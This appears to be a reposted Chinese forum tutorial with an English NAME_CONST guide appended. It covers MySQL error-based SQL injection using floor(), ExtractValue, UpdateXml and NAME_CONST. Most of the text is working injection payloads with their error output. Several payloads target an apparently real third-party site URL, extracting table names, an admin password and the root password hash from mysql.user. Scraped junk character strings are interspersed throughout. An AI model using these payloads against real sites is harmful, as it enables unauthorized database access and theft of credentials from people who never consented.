mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
; X. f6 z/ K6 U  P( A; n% i' k+ a首先进行正常查询：

mysql> select * from article where id = 1;
# H. f% R5 o7 W& z4 F, i; A8 [+—-+——-+———+
| id | title | content |
. R' `/ m) q( y- K. z' o+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
+ |7 ?, {! U3 L, B. n例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
+ N# R4 s( P( ^4 W5 {ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

" ]% _5 U+ f2 ?8 t& B

再收集：

- S5 }6 e: A3 A3 B3 Thttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

' E' P! ?! u1 c5 ~+ p) }5 D8 f" GErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
! ~, [6 n6 b, s% s( c9 V6 ~
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
; K( ?) P  Z, v$ V6 h
MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


1 c' p1 [( Z* T, @0 U; S相关信息
! j1 u4 [  {4 X6 `& B( z
/ q1 I% }8 r. I" |) p, qNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
% A0 t7 I7 ]8 J, z  d* i
& ^% o# g) M: U1 ACode:
NAME_CONST(DATA, VALUE)

; p" y& p& V5 S2 L* A( T2 lReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

5 D$ A4 e: m0 OSELECT NAME_CONST('TEST', 1)


5 z2 u- @) Z6 L3 I2 p3 [
$ ~% @( s; t1 ~3 W+ U# c|---------------|
2 w4 B+ ?% z' ~6 n" b% M|     TEST      |
. O" ~% d+ }7 K$ E|               |
|---------------|
|       1       |
|               |
|---------------|

1 ?8 N& ^. k& y2 z7 ^' p1 U: M' ^  n

' V, F7 d6 M4 b6 b* Z" b4 W$ \
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
$ ~3 w7 k" D4 Y2 M) |8 f2 lIntro to MySQL Variables
; b7 P+ o+ r5 y/ L
% R. S1 F1 u1 W& dOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
1 @& G' U0 F7 t! c/ h! ~
Code:
. k. s0 k  \) X6 ]5 e( h0 Whttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261

4 H( O' Q* B  F7 b" }0 @

0 n6 M3 G( p) _

5 |$ G, j5 D: ~( N& b; I8 {( v# dCode:
. t0 c" k. n- D- G/ k  h5 C  e4 l' Zand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
5 _& L- j, j1 x% k- x
9 e  S, G1 w" X7 }2 @* x
VAR = Your MySQL variable.
/ A/ a/ l; Q1 y8 D9 ]' b& L
MySQL 5.1.3 Server System Variables

Let's try it out on my site..
! ^: w7 O6 Z7 x( ?6 }
. j* C% G8 V3 f* n0 G1 ]. RCode:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
9 M6 q  M0 _( c* K  ]
2 v2 n+ d/ r, V0 n& b, @& ^9 hErroruplicate column name '5.0.27-community-nt'
  o, S3 @" y& b2 w; W
3 I2 i$ U4 g5 d' g4 U
% j3 Q$ G" M4 _( n% j# A8 L

* o5 B8 d/ ], c' F" o( b
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
2 U+ m: \% C$ ]( B/ N4 N3 `% q
Data Extraction
$ F( o# \6 G1 P7 t
  Z3 F* [' n) YCode:
9 s; B+ T4 C/ p6 R8 ]+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
8 O  C2 V( F# h1 k6 u/ O( Z

5 _& }$ |- B1 U/ @% DWe should get a duplicate column 1 error...

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
0 C% |1 o# B4 ^+ W* B# Z; |
6 X: r' `) V+ Y. w2 [Erroruplicate column name '1
* S: R( G; G4 e+ ]2 |" ~6 N6 @

  k4 |6 W5 A' l0 J- i9 I( L$ p: ?" S
% Z& d; V! w! L0 f* I
) F2 [5 _' c9 I0 f6 o9 P+ W% D

0 A& ~- v9 C+ F- x5 I" e6 W$ XNow let's get the tables out this bitch..

6 q3 V' H* O3 N' G' U( J8 E5 ACode:
, O$ J  `  V, J% M2 m+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
* c6 ]* |8 \4 `6 Q2 X# k

Let's see if it works here, if it does, we can go on and finish the job.
% i" S$ Q/ |+ Z- L3 _
Code:
9 k) ?3 g; W  X  J% E( Zhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

, V9 Q. W5 L; c  L' q
Erroruplicate column name 'com_admanage
( n$ ?+ y& l! Q- e/ ?! j# A
; y: g: X* ~0 C7 Y" p
: R0 M) L! I* P3 ^$ o



Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
/ N6 E$ `$ |  g( U
( h2 E. j( V+ O( H, q8 hLet's get the columns out of the user table..

) [* d; z' @$ @: O4 d5 QCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this, and I get the duplicate column name 'Host'.
+ y  T* N4 h- F# v( x
1 L0 A- d; v% ?$ ?7 NCode:
* c+ k! s" y9 |5 ehttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

: M+ \  g0 S$ t* h" t8 O! o( bErroruplicate column name 'Host'
7 G# d( D8 w0 ]+ o# |7 J
+ K8 h  R5 b+ e) h
/ P  A$ w7 t4 u- `6 w
/ L, x/ l4 G6 j

% k" B$ n- A: b
Woot, time to finish this bitch off.
# u. k+ W4 ^4 c5 `( Z( V
* G# l5 n) K6 f- KCode:
& b% a4 X/ o6 Q7 r+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
7 Q; N2 z- j) ~
% A/ b# m: @3 j: z9 L( P% v& A
* f4 [- S( R7 m: b. e- SSo mine looks like this...
, f$ ^) h$ b* K! s2 M
; H# J1 k; o! vCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
2 ]# ]) v; U; H, X* y) p
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

4 ?" o; U, T7 J" R

& p. e- S2 \3 N" F1 i
1 a- C, y3 D- z; M
  W+ J1 w! g4 h0 `) }0 c
And there we have it, thanks for reading.